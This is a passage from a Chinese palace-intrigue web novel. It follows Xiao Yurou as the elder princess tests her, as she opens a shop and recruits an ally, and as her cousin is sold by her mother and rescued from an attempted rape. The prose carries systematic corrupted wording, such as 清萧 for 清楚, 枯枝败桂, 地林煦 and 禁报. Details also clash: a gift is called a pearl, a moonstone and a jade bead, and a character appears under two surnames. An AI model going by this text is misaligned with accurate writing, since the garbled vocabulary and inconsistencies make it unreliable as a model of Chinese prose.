“太女殿下究竟有何不满?”萧语柔不卑不亢地反问。她能感觉到长公主眼中闪过一丝锐利的光芒。 “放肆!”长公主身边的嬷嬷厉声喝道,“长公主问你话,哪有你反问的份!” 萧语柔唇角微扬:“若不知道长公主所指为何,我该如何回答?难道要我胡乱猜测,冒犯了长公主才好?”她的语气依旧平和,却暗含锋芒。 “你——”那嬷嬷还要再说什么。 “韶宏,退下。”长公主轻轻拨动茶盖,那嬷嬷立刻跪地不敢作声。 厅内一时陷入沉默,只有茶水注入杯中的声响。长公主端起茶盏抿了一口,目光若有所思地落在萧语柔身上:“浴佛节那日两次刺杀,你可知是谁指使?” 萧语柔心头一紧。这个问题来得突然,长公主这般直白地点破,显然是在试探她。她能感觉到,长公主的每一个动作、每一句话都像是精心设计好的,就等着看她如何应对。 “不知。”她语气平淡,“不过想来长公主定是知道的。” “聪明。”长公主轻笑,“你若劝萧泰收手,这颗青霜月光石便是你的。” 说着,一个跛脚男人捧着锦盒上前,打开后露出一颗流光溢彩的珍珠。玉珠在阳光下散发着迷人的光芒,确实是难得一见的宝物。 萧语柔看也未看那玉珠一眼:“臣女不敢要。上次齐家小姐丢了玉珠,便说是我偷的。这等物件,还是离我远些为好。”她的语气中带着几分自嘲。 “有本宫作证,谁敢诬陷于你?”长公主的声音中带着几分笑意,却让人感觉不到丝毫温度。 “可惜臣女帮不上忙。”萧语柔直视长公主的眼睛,“大伯若肯听我劝,也不会千里迢迢来龙都害我了。” 长公主眸光一冷,但转瞬即逝。她缓步走到萧语柔面前,抬手轻抚她的额角:“你与你母亲当真不同,她那般温柔,你却如此强硬。” 这话让萧语柔心头一颤。母亲的面容在脑海中一闪而过,那个永远温婉慈祥女子,究竟经历了什么? 长公主带着人离开了,只留下那颗月光石。厅内重归寂静,萧语柔望着长公主离去的背影,眼中闪过一丝思索。李琰的话,那个跛脚男人的态度,还有长公主今日的试探,都在暗示着一个可能——父母的死,或许与长公主有关。 可若真是长公主所为,那杨贵妃的消失又该如何解释?就算长公主权势滔天,也不可能完全抹去一位贵妃的所有痕迹。这其中必然还有她所不知道的隐情。 “小姐...”紫萱小心翼翼地靠近,“长公主这是什么意思?” 萧语柔没有立即回答,而是走到窗前。院中的海棠树上,一片桂子正缓缓飘落。她想起方才长公主提到母亲时的神情,那双眼睛里似乎藏着某种说不清道不明的情绪。 “去查查明泽公主府最近有什么异动。”萧语柔终于开口,“尤其是与长公主府来往的消息。” “是。”紫萱应道,又犹豫了一下,“那这月光石...” “放库房吧。”萧语柔连看都不想多看一眼。这颗玉珠看似是赏赐,实则是一个试探,甚至可能是一个圈套。 离开时,她无意间回头,却见向来威严的宁远侯正痴痴望着长公主坐过的位置,甚至将她未饮完的茶盏捧在手中,神情恍惚。那眼神中的痴迷,让萧语柔想起了一些传闻。 据说,年轻时的长公主曾与宁远侯有过一段情缘。只是后来长公主嫁给了当朝宰相,而宁远侯也娶了世家贵女。但从宁远侯今日的表现来看,这段情似乎并未随着时光流逝而淡去。 萧语柔收回目光,心中暗叹。这位侯爷,怕是对长公主用情至深。可在权力的漩涡中,真情实意往往是最无用的筹码。 走出长公主府,秋风依旧萧瑟。萧语柔望着天边的残阳,心中思绪万千。今日这一番试探,恐怕只是开始。长公主显然已经察觉到了什么,而她,也必须更加小心谨慎。 紫萱跟在身后,看着自家小姐的背影,不由得担心起来。自从小姐查起父母的死因,就一直在与那些权贵周旋。虽然小姐表面上看起来云淡风轻,但她知道,每一步都走得异常艰难。 “小姐,要不要先回府休息?”紫萱轻声问道。 萧语柔摇摇头:“去一趟城南,我要见见李琰。” 她必须尽快理清这些线索。长公主、明泽公主、杨贵妃,还有父母的死,这些看似毫无关联的事情,一定有着千丝万缕的关系。 第一百一十六章 开业 锦绣坊开业第一日,门前便热闹非凡。各色马车络绎不绝,富贵人家的小姐夫人们簇拥而至,连带着街道两旁都挤满了看热闹的百姓。 萧语柔领着慕氏和珍珍穿过人群,径直走入店内。迎面而来的清雅香气让人心旷神怡,几个身着统一服饰的小厮立刻迎了上来。 “这香气好闻。”慕氏轻嗅着空气中若有若无的香味,眉眼间浮现出愉悦之色。 萧语柔微微颔首:“是用檀香和龙涎香调制的,能静心安神。” 一楼的布局颇为别致,珠帘轻垂,将空间一分为二。一侧是精致的多宝阁与长柜,琳琅满目的首饰在阳光下熠熠生辉。另一侧则摆放着十数张梳妆台,每张台前都站着身着统一服饰的侍女,正在为客人梳妆打扮。 “娘亲快看!”珍珍拉着萧语柔的衣袖,指着琉璃匣中的首饰,眼中闪烁着惊喜,“这个好漂亮!” 萧语柔顺着珍珍手指的方向望去,只见那琉璃匣中陈列着一套春意盎然的首饰。点翠步摇上缀着栩栩如生的蝴蝶,在光线下仿佛随时会振翅飞起。 “这是春季限定款,每件首饰都是独一无二的。”一旁的店员适时介绍道,“我们锦绣坊的首饰分为春夏秋冬四季系列,每一套都由名匠精心打造,绝不重复。” 慕氏拿起一支银簪细细端详,赞叹道:“这工艺确实精湛,连簪头的花瓣都栩栩如生。这个独一无二的承诺,倒是新鲜。” “夫人好眼力。”店员笑着解释,“我们锦绣坊的每件首饰都有编号,购买时会登记在册,确保天下绝无仅有。” 二楼陈列着各式西洋奇物,琳琅满目令人目不暇接。最引人注目的是一种名为玉颜丹的美容丹药,店员正绘声绘色地介绍着功效。 “此丹乃是海外秘方,服用三日便见效,七日小褪斑点,一月可还少女肌肤......”店员手持玉瓶,滔滔不绝地介绍着。 “十两银子一瓶...”慕氏听到价格,顿时咽下了到嘴边的询问,暗自摇头。 萧语柔看着那位能说会道的店员,心中暗笑。这玉颜丹虽是她借助灵医宝典研制,效果确实不错,但这店员未免太会吹嘘了些。不过,这般说辞倒是很对那些富贵夫人的胃口。 顶层全是成衣铺子,十几位绣娘正忙着为客人介绍最新款式。锦缎绸绫琳琅满目,各色布料在阳光下熠熠生辉。一位绣娘正在向客人展示刚完成的对襟襦裙,引得众人连连称赞。 当她们登上四楼时,一阵悠扬的琴声飘来。琴音清越,时而如溪水潺潺,时而似飞瀑直下,令人心旷神怡。 “这琴声...”慕氏还未问完,便有小厮上前解释道:“四楼是茶室,凡是消费满十两者,皆可在此休憩品茗。开业三日内免费。” 萧语柔正要入座,忽见一个熟悉的身影在与店员争执。只见郗澜一身白衣,面色阴沉地站在角落,周围几个店员正围着他说些什么。 “别提了,我压根就没打算当什么琴师!”郗澜那张黑脸更黑了几分,语气中带着几分恼怒。 “那您这一身白衣是?”店员眨着大眼睛,一脸天真地问道,“我们这儿应聘琴师才穿白衣的。” “我平日就喜欢穿白衣!”郗澜咬牙切齿地解释。 “哦~”店员拖长了声调,眼中闪过狡黠,“可是您气质这么出尘,一看就是琴道高手。要不要考虑一下?待遇从优的。” 用过午膳后,萧语柔便在后院等候。紫藤花架下,她换了一身藕荷色长裙,正悠然烹茶。阳光透过花架洒下斑驳光影,与她这一身装扮相得益彰。 “你?!”郗澜看清她的面容,惊讶之色难掩,“这锦绣坊是你开的?” “吕指挥使,请坐。”萧语柔示意他落座,将一杯清茶推到他面前,“我需要你的帮助。” 她将父母之死和蛊虫之事娓娓道来,目光渐渐凌厉:“我要知道龙都内外的一切动向,还有几个特定官员的消息。” 郗澜端起茶盏,却没有喝,只是静静地看着杯中沉浮的茶桂。良久,他才开口:“县主对我很信任。” “那么,你觉得自己值得信任吗?”萧语柔轻抿一口茶,眼中闪过一丝锐利。茶香在唇齿间氤氲,却掩不住话中的试探之意。 郗澜放下茶盏,目光落在那片飘落的紫藤花上。他看着眼前这个看似柔弱实则心思缜密的女子,忽然明白为何那晚她能如此果断地对付墨洌。 “时间会证明一切。”他的语气中带着几分沉重。 萧语柔没有追问,只是又为他斟了一杯茶。紫藤花瓣随风飘落,打着旋儿落在茶盏中,泛起一圈涟漪。 萧语柔悄然离开后,郗澜独自站在庭院中,望着紫藤花随风摇曳。 多年来压在心头的郁结,仿佛在这一刻烟消云散。庭院里的一切都显得格外宁静,连空气中都弥漫着一股难得的祥和。 他端起桌上那杯茶水,茶香袅袅升起。刚入口,一股咸涩的味道便在舌尖蔓延,让他猝不及防地剧烈咳嗽起来:“咳咳...这茶...怎会如此咸?” “忘记提醒你了。”萧语柔的声音从门口传来,带着几分凉意。她倚在门框上,眼中闪过一丝讥诮,“当年你派人陷害我的事,今日便当是我的回礼。墨阳一案,你应该记得很清萧吧?” 郗澜浑身一震,放下茶杯的手微微颤抖。他转身看向萧语柔,眼中闪过一丝惊诧:“你是如何知晓?这件事...” “原本只是猜测。”萧语柔缓步走进院中,月光下她的身影显得格外清冷。她转身,目光如刀,“但你方才一见面就认出我来,这便坐实了我的猜想。一个整日醉生梦死的废人,怎会对一个初入龙都的孤女如此关注?” 院中的风忽然变得凌厉起来,吹得紫藤花瑟瑟作响。郗澜深吸一口气,郑重其事地向萧语柔行了一礼:“实不相瞒,当年派人监视你,确实是我的主意。但那也是为了自保,你初入龙都时我便查过,你父母双亡,无权无势,太傅府不会真的怀疑到你头上。” “从今往后,希望吕指挥使能够安分守己。”萧语柔淡淡道,月光在她脸上投下清浅的阴影,“我需要帮手,但绝不需要一个随时可能惹祸的麻烦。” 看着萧语柔离去的背影,郗澜忍不住大笑起来。笑声在寂静的院中回荡,惊起几只夜鸟。这个女子,不仅聪慧过人,胸襟更是难得。 庭院里的灯笼随风摇曳,将他的影子拉得老长。或许,那座看似不可撼动的皇后之位,真的会在她手中倒塌。 第一百一十七章 回谷 回到幽谷时,夕阳已经西斜,天边染上了一片绚丽的晚霞。 萧语柔本想收拾一番去老夫人处用膳,刚推开房门就看见紫萱正跪坐在地上,专注地擦拭着她的琴。琴尾挂着一枚紫色金镯,夕阳的余晖透过雕花窗棂洒在上面,隐约可见玉中似有字迹。 “小姐回来了。”紫萱抬头,脸上露出欣喜的笑容,“这金镯是方才送来的,奴婢正想着要不要叫人去找小姐。” 萧语柔走近,取下金镯仔细端详。玉质温润,触手生温,但无论如何转动,都看不出任何明显的字迹。 “小姐要戴上吗?”紫萱收起手中的软布,轻声问道。 萧语柔沉吟片刻,将金镯放入随身的荷包:“带着吧。”她的指尖在金镯上轻轻摩挲,若有所思。 此时,老夫人院中一片欢声笑语。桂远墨入京述职后便忙得不可开交,慕氏便常带着珍珍来陪老夫人说话解闷。 庭院里,老夫人正和慕氏说着话,珍珍则在一旁的花圃中追逐着一只彩蝶,稚嫩的笑声回荡在院中。 萧语柔到时,正赶上她们在谈论锦绣坊的新品。慕氏手中拿着一方锦帕,眼中满是喜爱:“这绣工当真精致,连花瓣上的露珠都栩栩如生。” 一顿晚膳吃得其乐融融,饭菜的香气与欢声笑语交织在一起,直到桂成林突然造访,才打破了这份温馨。 珍珍一见到桂成林,立刻往慕氏怀里缩,小脸上写满了不安。他紧紧抓着母亲的衣袖,像是受惊的小兽。 桂成林对珍珍视若无睹,只向老夫人行礼:“母亲。”他的声音里带着一丝不易察觉的疲惫。 “这么晚了,有什么事?”老夫人示意丫鬟撤去饭菜,换上茶点。烛光下,她的面容显得格外严肃。 慕氏识趣地抱着珍珍告辞离去,临走时还不忘向萧语柔投来一个担忧的眼神。 “是关于萧泰的事。”桂成林目光在萧语柔身上一扫而过,语气中带着几分试探,“萧家到底是侯府的姻亲,如今出了这等事,我们若是置之不理,恐怕说不过去。” 萧泰入狱后,萧家在龙都举步维艰。上等客栈都不肯收留他们,若不是萧语柔暗中相助,萧柔险些被卖入青楼。街坊邻居对萧家避之不及,生怕惹上麻烦。 即便如此,萧虎重伤发烧,萧宁氏还在四处打听要将萧柔卖作妾室。这事传开,连带着宁远伯府也成了笑柄。街头巷尾都在议论,说宁远伯府不仁不义,连自家姻亲都不管不顾。 “更何况,”桂成林意有所指,目光在萧语柔身上停留,“这是语柔的亲族,若是不管不顾,外人难免要说闲话。” “就他们那点情分,不要也罢!”老夫人冷哼一声,眼中闪过一丝怒意,“谁敢说语柔的不是,难道宁远伯府是摆设不成?” 桂成林连忙赔礼:“是儿子考虑不周。语柔,你觉得呢?” “语柔年幼,不懂这些。”萧语柔低垂着眼睫,声音轻颤,“全凭舅舅做主。”她的手指无意识地摩挲着袖口的绣花,看似柔弱无助。 桂成林深深看了她一眼。这丫头,表面上柔弱似水,骨子里却是只老狐狸。每次装出这副模样,必定是在打什么主意。 “就按娘亲说的办,不管他们了。”桂成林起身告辞,脚步声在寂静的夜色中格外清晰。 桂成林离开后,老夫人眉头紧锁,手中的茶杯已经凉了。烛光摇曳,在墙上投下晃动的影子。 “外祖母若是信得过语柔,不如将此事交给我处置。”萧语柔轻声道,眼中闪过一丝精光。正好,她也想试试郗澜的本事。 “你必须打起十二分精神。”老夫人叮嘱道,语气中满是担忧,“这事牵扯甚广,稍有不慎就会惹来大祸。” 哄好老太太的心情,萧语柔立即写信给郗澜,让萧瑾送去。她坐在案前,笔尖在宣纸上游走,字迹清秀却带着几分凌厉。 桂成林派人盯了幽谷几日,却毫无发现。暗处的眼线来报,说萧语柔除了日常起居,并无异常举动。 “继续盯着,有任何动静立即禁报。”桂成林坐在书房中,手指轻叩桌面,心中隐隐不安。这个侄女太过聪明,让人捉摸不透。 “是。”桂威应声,犹豫片刻后又道,“侯爷,穆夫人又递信来,说要见您。” 桂成林眼色阴沉:“知道了。”他挥手示意桂威退下,目光落在窗外的月色中。 桂威退出书房,嘴角勾起一抹诡异的笑容。他转身离去,脚步声消失在走廊尽头。 与此同时,萧家小院内,萧宁氏难得和颜悦色地对萧柔说:“换件好衣裳,我带你去见你父亲。”她的语气温和,与往日的刻薄判若两人。 “娘,那些绸缎衣裳都卖了。”萧柔小声道,低着头不敢看母亲。自从被赶出侯府,家中入不敷出,她连衣裳首饰都典当了。 “那就穿我的。”萧菱忙道,“我们身量相仿。”她转身去柜子里翻找,很快拿出一件淡青色的襦裙。 “不必了,我穿这身就好。”萧柔摇头,眼中闪过一丝警惕。 “听话,换上吧。”萧宁氏不容拒绝,语气中带着几分强硬,“好好打扮一番,别让你父亲担心。” 临行前,萧菱趴在门边喊道:“娘,早些回来,我想吃烧鹅。”她的声音里带着期待。 “知道了。”萧宁氏应了一声,拉着萧柔上了马车。车轮碾过石板路,发出沉闷的声响。 “ 第一百一十八章 出卖 萧柔跌坐在马车里,眼泪无声地滑落。马车轮碾过坑洼不平的石板路,发出咯吱咯吱的响声,而每一下颠簸都似是敲在她的心上。 她看着对面神色冷漠的母亲,喉咙发紧。记忆中那个会给她梳头、为她擦去眼泪的慈母,此刻仿佛成了一个陌生人。车厢内沉默得令人窒息,只有马蹄声规律地敲击着地面。 “娘......”她颤抖着伸出手,指尖在半空中微微发抖。 萧宁氏别过脸,眼角微微抽动:“别说了。”声音里带着不易察觉的哽咽。 马车在一条偏僻的巷子里停了下来。潮湿的空气中飘着一股若有若无的霉味,墙角堆积的枯枝败桂无声地诉说着这里的荒凉。 在萧柔要下车的那一刻,萧宁氏突然拉住她的手臂。那只曾经温暖的手此刻冰凉刺骨,萧宁氏眼中闪过一丝愧疚:“心儿,你别怪娘。要怪就怪萧语柔那个扫把星,当初若不是你救了她,咱家也不会落到如今这般田地。” 话音未落,萧柔的手臂就被人从外面粗暴地拽住。她重重摔在泥泞的地上。一个满脸麻子眼神如毒蛇般阴冷的男人居高临下地打量着她,:“果然是个极品,这一百两花得值!” “不要!娘,救我!”萧柔惊恐地挣扎着,指甲在地上抓出道道血痕。她不敢相信,这一切竟是真的。 萧宁氏紧紧攥着手中沉甸甸的银袋,指节发白。她快步上了马车,头也不回地催促车夫离开。马蹄声渐行渐远,带走了萧柔最后一丝希望。 看着远去的马车,萧柔如坠冰窟。原来,她的亲生母亲,真的把她卖了。就像丢弃一件不要的旧物那样简单。 “我爹是朝廷命官,你们......”她声音发颤,试图用最后的身份震慑对方。 “官家小姐?”麻脸男人狞笑着扯住她的头发,发出一声刺耳的冷笑,“就算你是天上的仙女,现在也是老子的人了!卖身契都立好了,你就是死,也只配当我周家的孤魂!” 他拖着萧柔往屋里走,粗糙的手掌像铁钳一样钳制着她的手腕。萧柔拼命挣扎,却只换来更粗暴的对待。她的哭喊声在巷子里回荡,却无人敢来相救。路过的行人纷纷低头快步离开,仿佛没看见这一幕。 刚进门槛,那男人就急不可耐地解起衣带。浓重的酒气扑面而来,萧柔一阵反胃。她拼命后退,却被绊倒在地。后脑勺重重撞在石头上,顿时鲜血直流。 疼痛中,她想起萧语柔曾经的告诫。那时表妹眼中含着担忧,一再提醒她要小心提防。可她不以为然,觉得有父亲和母亲的庇护,天塌下来也有人顶着。如今想来,当真是可笑。 布帛撕裂的声音刺痛她的耳膜。萧柔死死护住胸口,却被一脚踢倒在地。她蜷缩成一团,浑身发抖:“求求你......” 预想中的侵犯并未发生。她浑身发抖地睁开双眸,只见一道寒光闪过,那麻脸男人瞪大着眼睛,直挺挺地倒在她面前。鲜血从他的喉咙处汩汩流出,很快在地上积成一滩。 萧柔看到一个模糊的身影,随即便昏了过去。最后的意识里,她似乎听到有人叹了口气。 “真是麻烦。”郗澜看着昏迷的萧柔,手却止不住地发抖。他见过太多这样的场景,每一次都让他想起瑶儿。那个被命运摧残的女孩,最终选择了了断。 他一手提着尸体,一手扛起萧柔,瞬间消失在原地。将萧柔安置好后,他又回到现场,仔细清理了血迹。这种事情他已经做得轻车熟路,但每次都让他心里发堵。 这时,远处传来说话声:“周贵那厮怎么还不回来?莫不是已经按捺不住,偷尝了?” “哈哈哈,你还真不了解他?看见漂亮姑娘就走不动路。不过这是公主府要的人,咱们还是提醒他别把人玩坏了。” 郗澜藏在竹林后,看着两个穿着与周贵相似的人走近。他们身上带着一股市井气息,说话粗俗不堪。 “奇怪,人呢?”其中一人推开门,屋内空无一人。 “要不要禀告老爷?” “算了吧,周贵办事向来稳妥,咱们多嘴反倒不美。” 两人识相地离开了。郗澜若有所思地看着他们远去的背影,悄然向周家书房潜去。他要弄清萧,这背后到底牵扯了多少势力。 当萧柔再次醒来时,房间里只有一盏昏暗的油灯。 她惊慌地坐起身,发现衣衫完好,才稍稍平静下来。但随即又想起之前的遭遇,不由得浑身发抖。 门开了,一名蒙着面的丫鬟踏步而入。那侍女虽然遮着脸,却有着一双格外明亮的大眼睛,让人不由得多看几眼。 “您醒了。”侍女的声音清脆悦耳,“主子说了,这儿放着百两银钱和一张出城的船票,您可以自己选择。” “你家主子是......”萧柔试探着问道。 “姑娘只管选择便是。”侍女不动声色地避开了这个问题。 萧柔紧握着被角,眼泪又涌了出来:“我要船票。”她知道,留在龙都只会让自己陷入更大的危险。 大眼睛侍女松了口气,似乎对这个选择很满意:“那请随我去码头。” 夜色中,两个人影悄然离开了这座宅院。街上已经没什么行人,只有零星的更夫打更声传来。 上船时,萧柔回头对侍女说:“替我谢谢你家主子。” 侍女装作没听见,转身就要离开。 萧柔刚进船舱,就看到了一个熟悉的身影。那人背对着她,但那挺拔的身姿她再熟悉不过。 “语柔......”她轻声唤道。 “我能安排你去郊外的庄子。”萧语柔转过身,温和地说,“二姐姐,既已脱离泥潭,便莫要再回头了。” “嗯。”萧柔含泪点头。这个曾经被她轻视的表妹,如今却成了她的救命恩人。 望着萧语柔离去的背影,她的心渐渐坚强起来。也许这是一个新的开始,虽然充满未知,但总比留在那个险些毁了她的地林煦。 小船消失在夜色中,只留下层层涟漪。岸边的灯火渐渐远去,就像萧柔的过往一样,终将成为记忆中模糊的影子。 铃铛是第一次见到主子。她原本只是个小乞丐,在街头流浪。因为机灵,常常为梨竹收集消息。后来,她成了锦绣坊第一个店员,生活才有了着落。 “梨竹常提起你。”萧语柔看着她的大眼睛,语气温和,“你叫铃铛?” “是,奴婢铃铛。”她恭敬地回答。虽然是第一次见,但她已经对这位主子心生敬佩。 一旁的郗澜走来,懒洋洋地开口:“这称呼还挺合适。” 铃铛忍住白他一眼的冲动。这个整天板着脸的男人,总是喜欢挑她的刺。 “说说周家的情况。”萧语柔转移了话题。 郗澜收起懒散神色,正色道:“周其富,做过从六品的起居舍人。” “曾任?”萧语柔敏锐地捕捉到了关键词。 “二十年前被罢官,留京经商。据说暗中为明泽公主效力。这次买下萧柔,应是想用她来推翻萧泰的供词。” “就这么简单?”萧语柔若有所思。 郗澜看了眼主子,暗道这位果然敏锐。事情远不止表面这么简单,但现在还不是说破的时候。 第一百一十九章 狸猫换太子 萧语柔望着窗外的夜色,眼底闪过一丝了然。 “明泽公主布置这么久,看来是不打算放过我了。”她轻声说道,语气平静得仿佛在谈论今日的天气。 “这也难怪。”郗澜倚在门框上,眼中带着几分玩味,“明泽公主身为皇亲国戚,又嫁入江南柳家,这些年在龙都可谓呼风唤雨。但偏偏栽在你手上,不但算计失败,还折了儿子,毁了名声。换做是我,怕是做鬼也要找你报仇。” 铃铛听不下去了,她瞪大眼睛怒视郗澜,小脸涨得通红:“你这人怎么说话的!主子......” “好了。”萧语柔轻轻抬手,制止了铃铛的话,“他说得没错。” 被铃铛瞪得发毛,郗澜赶紧解释:“我这是在分析形势。一代猛虎竟被小白兔制服,非得把你大卸八块,换谁都得发疯。再说了,主子您也不是什么柔弱的小白兔。” 萧语柔转过身来,月光勾勒出她清丽的轮廓:“所以她一定还有后招。看你分析得头头是道,那不如替我想想,如果你是明泽公主,下一步该如何行动?” 郗澜被问得一愣,总觉得这话听着怪怪的。他踱步到窗前,望着远处灯火通明的皇城。 “若我是明泽,此时怕是已经病急乱投医了。”他沉吟道,“在皇室中,与她最亲近的就只有长公主。而她现在已是走投无路,唯一的生路就在谢驸马身上。” “谢驸马......”萧语柔若有所思地重复这个名字,眼底掠过一丝不易察觉的寒意。 长公主府内。 凌明刚替已故驸马念完十遍往生咒,拖着疲惫的身子回到自己的小院。他谢绝了侍人伺候,独自回到房间关门闭窗。月光从窗缝中透进来,在地上画出一道银白的细线。 刚要松口气,他的目光却凝固在桌上的点心盘上。少了一块。 纵使行刺之人谨慎万分,但作为一个在刀尖上行走的人,凌明对房间里的一切都了如指掌。每一块点心的位置,每一片花瓣的落点,都印在他的脑海中。 点心少了,唯有这个解释。 “少侠。”凌明强迫自己露出标准的笑容,声音却有些发颤。 屋顶忽然垂下一道年轻身影,乌黑的马尾辫晃来晃去。若不是凌明死死咬住舌尖,差点就要尖叫出声。 “查到什么了?”萧瑾开门见山地问道,声音冷得像冰。 凌明暗暗摸了摸胸口,努力平复急促的心跳:“那日明泽公主来访时,长公主做事极为小心,把所有人都赶出去了。” “所以没消息?”少年的眼神如刀般扫过凌明的脖子,带着显而易见的威胁。 “有一些零碎的信息。”凌明小心翼翼地说,额头上已经渗出细密的汗珠。 “我从别处也得到了一些消息,你说说看。”萧瑾露出乖巧的笑容,但眼神却透着刺骨的寒意,“我很想知道,你说的是不是真的。” 凌明感觉脖子发凉,仿佛被毒蛇盯上的猎物:“虽然没人在场,却听见室内传出吵闹之声。明泽公主似乎很激动,提到了"萧贵妃"和"狸猫换太子"之类的词。” 萧瑾灰蒙蒙的眼睛一瞬不瞬地盯着他,凌明心跳如鼓。 他没说谎,但也没说完整。明泽公主还说了几个关键词,他正在暗中调查。如果查实了,这或许就是他控制萧语柔的最大筹码。只是现在还不是说出来的时候。 萧瑾似乎没看出异常,撇撇嘴卷走桌上的点心,身影如鬼魅般消失在夜色中。 他刚走,凌明就长出一口气,瘫坐在椅子上,擦了擦额头的汗:“好险。” 他不知道的是,萧瑾并未走远,而是伏在窗外冷冷地看了他一眼才离开。月光下,少年的眼神冷得像是能冻结一切。 回到幽谷,萧瑾将凌明的反应和话语都告诉了萧语柔,然后拔出长剑,剑锋在月光下泛着冷光:“姐姐,我的剑已经很久没有饮血了。” 萧语柔看了眼紫萱发白的脸色,轻轻瞥了萧瑾一眼:“别冲动。” “哦。”萧瑾抱着剑蹭到榻上,开始吃点心,嘴里塞得鼓鼓的,“姐姐,我要砍断那和尚的脖子。” 萧语柔在他额头敲了一记:“凌明的奸猾在意料之中。如果他一点底牌都不留,我反而不信他会尽心办事。暂时不用管他。” 但凌明的话已经透露出重要信息 - 明泽公主握有长公主的把柄,而这把柄与岑陌的生母有关。 如果长公主出手,必然会先对付柳家。想到这里,萧语柔提笔写了封信,交给一直候在外间的慕伯。 慕伯接过信,看着这几天频繁送信的萧语柔,眼中满是慈爱。这对小夫妻感情真好,成亲这么久了还这么恩爱,至少也该生十个孩子才够。 他突然打起手势,动作急促。 萧语柔仔细看了会儿,试探着问:“三皇子要回来了?” 慕伯开心地点头,脸上的褶子都笑开了。殿下一定是感受到了萧小姐的思念之情才提前归来。 看着慕伯越发慈祥的目光,萧语柔也顾不上追问岑陌为何提前回京,匆匆回了幽谷。她躺在床上,望着床顶发了会儿呆,脑海中不由自主地浮现出岑陌的身影。 那个总是面带微笑,温和有礼的男人。那个在众人眼中病弱不堪,却在战场上所向披靡的将军。那个明明可以轻易得到一切,却偏偏选择蛰伏的皇子。 想着想着,她就睡着了。梦里,她似乎看到岑陌站在雨中,墨发被风吹得凌乱,却依旧温柔地望着她。 与此同时,炎阳城正下着大雨。 雨水如注,打在城墙上发出沉闷的声响。一队人马踩着积水疾驰入城,雨水顺着蓑衣流下,浸透了里衣。 秋初的雨已带着寒意,一行人直奔城防军大营。马蹄声被雨声淹没,却依旧惊动了营中守夜的士兵。 营中将领见到来人,眼前一亮,忙屏退下人相迎:“三皇子,您怎么来了?” “西陲事了,奉旨回京。”岑陌淡淡道,声音里带着些许疲惫。 按圣旨预计,他至少还要半个月才能到龙都。可他却提前赶回来了,仿佛有什么急事。 邬钧见他脸色苍白,忙吩咐准备热水,却被岑陌阻止:“我稍后就走。” “今夜大雨不停,殿下不如先沐浴去寒。”邬钧劝道,语气中满是担忧。 岑陌身子孱弱是众所周知的事。大夫都说他活不过几年,下属们恨不得以身作盾替他遮风挡雨,何曾让他受过这般苦萧? 邬钧去看林妈妈,林妈妈只让他准备姜汤。她跟了岑陌多年,最了解这位主子的性子。 无奈之下,邬钧吩咐人熬姜汤,同时汇报正事:“南夏皇帝遇刺身亡,七皇子继位后第一件事就是封锁国门。我们那批物资被困在里面了。” 大晋周边不只有蛮族小国,还有南夏这样的强国。这些年来,那些小国频频挑衅,幕后全是南夏的手笔。 但南夏国力强盛,而大晋内忧外患,百姓温饱尚且困难,朝廷不愿与南夏开战。 更重要的是,大晋铁矿匮乏。 铁矿不足,就无法打造足够的兵器。朝廷虽然允许岑陌保留锦阳军,但军饷军需都要自筹。每次出征,朝廷给的粮草极少,兵器更是短缺。 所以岑陌一直在暗中从南夏购买兵器。而这次南夏政变,新帝封锁国门,众人手中刀剑瞬间被制。 岑陌听完,眼中闪过一丝寒意:“派人去打探南夏的情况,特别是新帝的态度。” 邬钧应下,又道:“殿下,您这次提前回京......” “龙都有变。”岑陌打断他的话,“准备快马,我即刻启程。” 邬钧还想劝,却被林妈妈拦住。她太了解自家主子了,一旦做出决定,就不会改变。 雨越下越大,岑陌的身影很快消失在雨幕中。 第一百二十章 生病 岑陌站在窗前,目光穿透雨幕望向远方。邬钧快步走进,衣袍上还带着风雨的潮气。 “殿下,南夏的动作不寻常。”邬钧的声音里带着几分凝重,“边境已经开始调兵,看起来不像是例行轮换。” 岑陌垂着眼睫,浓密的睫毛在眼下投下一片阴影。烛光在他脸上跳动,映照出他那张过分俊美的面容,却看不清他的神色。 “我知道。”他的声音很轻,却带着不容置疑的力量。 邬钧犹豫了一下,还是开口道:“殿下,虽说锦阳军现在名义上归您统领,但......” “但真正能为我所用的,也就只有你这支三百人的精锐。”岑陌接过他的话,嘴角勾起一抹若有似无的笑意,“这些我都清萧。” 邬钧握紧了拳头,眼中闪过一丝愤怒:“这些年来,我们都是殿下从死人堆里捡回来的。对于殿下所受的委屈,我们比任何人都愤怒!” 往常岑陌听到这样的话,总是一副漠然的模样。但这一次,那双凤眼微微上挑,眸中闪过一丝锋芒:“这一次,我要拿回属于我的东西。” 雨声渐大,马蹄声却穿透雨幕,由远及近。 邬钧立刻警觉起来:“是南夏的细作?” “不,是京中来的消息。”岑陌转身走向案桌,“明泽公主府的事情闹得沸沸扬扬,各府的宴会都安静了不少。” “连宁远伯府四小姐出嫁这样的大事,也显得格外低调。”邬钧补充道。 岑陌修长的手指轻轻敲击着桌面,眼中闪过一丝思索:“宁远伯府......” 与此同时,宁远伯府内。 桂婉柔的嫁衣被送到房中时,她正独自坐在窗前。窗外的雨丝绵密,将整个院子笼罩在一片朦胧中。 丫鬟小心翼翼地将嫁衣展开,鲜红的喜服上绣着精美的花纹,在昏暗的房间里格外醒目。 桂婉柔却连看都没看一眼。 桂玥推门而入,看到妹妹这副模样,忍不住嘲讽:“四妹这是怎么了?不是一直嚷嚷着要嫁入高门吗?” 出乎意料的是,桂婉柔这次没有像往常一样暴跳如雷。她只是阴沉地看了桂玥一眼,便垂下了眼帘。 桂玥觉得无趣,转身去了萧语柔的院子。 萧语柔正在廊下品茶,而紫萱则站在一旁,手里端着茶盘。 “二哥怎么还不来?”桂玥一屁股坐在萧语柔对面,“这可是他亲妹妹出嫁。” “大概是军务繁忙。”萧语柔淡淡地说。 桂玥看着萧语柔面前的茶具,酸溜溜地说:“这是锦绣坊的花果茶吧?五妹妹现在可是县主,终将成为王府的贵妃,真让人羡慕。” 萧语柔给她倒了一杯:“不过是买来尝尝罢了。” 见萧语柔没有炫耀的意思,桂玥的心情好了些,端起茶杯抿了一口。 “婉柔今天倒是安分,”桂玥放下茶杯,“大概是想到要嫁去墨家了,也学会收敛了。” 萧语柔看着桂玥脸上的恶意,只是默默喝茶。雨声渐大,檐下的水珠连成了线。 桂玥见萧语柔一直不接话,觉得无趣,找了个借口离开了。 “六小姐已经求了侯爷,要帮着主持四小姐的婚事。”紫萱收拾着茶具说道。 “随她去吧。”萧语柔不在意地说,“春蝶最近如何?” “韬光养晦,不过总往咱们院里送东西,生怕别人不知道她和小姐交好似的。”紫萱撇了撇嘴,“这些日子,她派人来了至少十次。” 